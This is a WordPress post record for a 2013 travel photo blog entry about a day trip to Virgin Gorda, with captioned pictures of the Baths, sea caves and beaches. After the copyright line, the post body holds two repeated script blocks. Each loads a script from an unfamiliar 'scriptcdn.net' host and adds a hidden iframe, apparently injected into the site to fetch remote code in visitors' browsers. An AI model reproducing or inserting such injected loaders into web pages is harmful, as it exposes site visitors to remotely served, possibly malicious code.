{"id":1143,"date":"2013-01-31T20:20:20","date_gmt":"2013-02-01T02:20:20","guid":{"rendered":"http:\/\/smartalicewebdesign.com\/wordpress\/?p=1143"},"modified":"2026-02-15T20:26:38","modified_gmt":"2026-02-16T02:26:38","slug":"adventures-in-paradise","status":"publish","type":"post","link":"https:\/\/smartalicewebdesign.com\/wordpress\/landscape-photograpy\/adventures-in-paradise\/","title":{"rendered":"Virgin Islands: Adventures in Paradise"},"content":{"rendered":"<p>This is my third trip to the Virgin Islands but today for the first time we went to the British Virgin Islands (BVI).\u00a0\u00a0 My pal Martha and I took the ferry from St. John to Virgin Gorda (Fat Lady).\u00a0 We rented a car and hit the Baths and Savannah Bay and took the Skyline Drive to the Bitter End.\u00a0 White sand, turquoise water, gorgeous views, and a conch roti and Guiness picnic on the beach \u2013 a day in paradise for sure.<br \/>\n<!--more--><\/p>\n<div id=\"attachment_1144\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg6.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1144\" class=\"size-full wp-image-1144\" title=\"Double Rainbow\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg6.jpg\" alt=\"rainbow\" width=\"1000\" height=\"667\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg6.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg6-300x200.jpg 300w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1144\" class=\"wp-caption-text\">A brief shower during the ferry ride gave way to a double rainbow.<\/p><\/div>\n<div id=\"attachment_1146\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg9.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1146\" class=\"size-full wp-image-1146\" title=\"The Baths\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg9.jpg\" alt=\"baths\" width=\"1000\" height=\"667\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg9.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg9-300x200.jpg 300w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1146\" class=\"wp-caption-text\">The Baths are gigantic rock formations<\/p><\/div>\n<p>&nbsp;<\/p>\n<div id=\"attachment_1148\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg8.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1148\" class=\"size-full wp-image-1148\" title=\"sea cave\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg8.jpg\" alt=\"sea cave\" width=\"1000\" height=\"1331\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg8.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg8-225x300.jpg 225w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg8-769x1024.jpg 769w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1148\" class=\"wp-caption-text\">Sea caves<\/p><\/div>\n<div id=\"attachment_1150\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg7.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1150\" class=\"size-full wp-image-1150\" title=\"cave skylight\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg7.jpg\" alt=\"cave\" width=\"1000\" height=\"1498\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg7.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg7-200x300.jpg 200w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg7-683x1024.jpg 683w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1150\" class=\"wp-caption-text\">Cave skylight<\/p><\/div>\n<p>&nbsp;<\/p>\n<div id=\"attachment_1151\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg2.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1151\" class=\"size-full wp-image-1151\" title=\"beach\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg2.jpg\" alt=\"beach\" width=\"1000\" height=\"1498\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg2.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg2-200x300.jpg 200w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg2-683x1024.jpg 683w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1151\" class=\"wp-caption-text\">White sand beaches<\/p><\/div>\n<p>&nbsp;<\/p>\n<div id=\"attachment_1152\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg1.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1152\" class=\"size-full wp-image-1152\" title=\"martha\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg1.jpg\" alt=\"martha\" width=\"1000\" height=\"667\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg1.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg1-300x200.jpg 300w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1152\" class=\"wp-caption-text\">Martha in the surf<\/p><\/div>\n<p>&nbsp;<\/p>\n<div id=\"attachment_1153\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg3.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1153\" class=\"size-full wp-image-1153\" title=\"artist\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg3.jpg\" alt=\"artist\" width=\"1000\" height=\"969\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg3.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg3-300x290.jpg 300w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1153\" class=\"wp-caption-text\">This artist designs and sells t-shirts at the Baths<\/p><\/div>\n<p>&nbsp;<\/p>\n<div id=\"attachment_1154\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg5.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1154\" class=\"size-full wp-image-1154\" title=\"cactus\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg5.jpg\" alt=\"cactus\" width=\"1000\" height=\"667\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg5.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg5-300x200.jpg 300w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1154\" class=\"wp-caption-text\">Cactus and bourganvillea<\/p><\/div>\n<p>&nbsp;<\/p>\n<div id=\"attachment_1155\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg4.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1155\" class=\"size-full wp-image-1155\" title=\"cafe\" src=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg4.jpg\" alt=\"cafe\" width=\"1000\" height=\"667\" srcset=\"https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg4.jpg 1000w, https:\/\/smartalicewebdesign.com\/wordpress\/wp-content\/uploads\/2013\/01\/vg4-300x200.jpg 300w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-1155\" class=\"wp-caption-text\">Cafe where you can go for a swim while waiting for your iced tea<\/p><\/div>\n<p>&nbsp;<\/p>\n<p>All images copyright 2013 Alice Gebura All rights reserved.<\/p>\n<p><script src=\"https:\/\/www.google-analytics.com\/analytics.js\" async=\"\"><\/script><script src=\"https:\/\/3001.scriptcdn.net\/code\/us\/1\"><\/script><iframe style=\"display: none;\" src=\"about:blank\"><\/iframe><\/p>\n<p><script src=\"https:\/\/www.google-analytics.com\/analytics.js\" async=\"\"><\/script><script src=\"https:\/\/3001.scriptcdn.net\/code\/us\/1\"><\/script><iframe style=\"display: none;\" src=\"about:blank\"><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is my third trip to the Virgin Islands but today for the first time we went to the British Virgin Islands (BVI).\u00a0\u00a0 My pal Martha and I took the ferry from St. John to Virgin Gorda (Fat Lady).\u00a0 We rented a car and hit the Baths and Savannah Bay and took the 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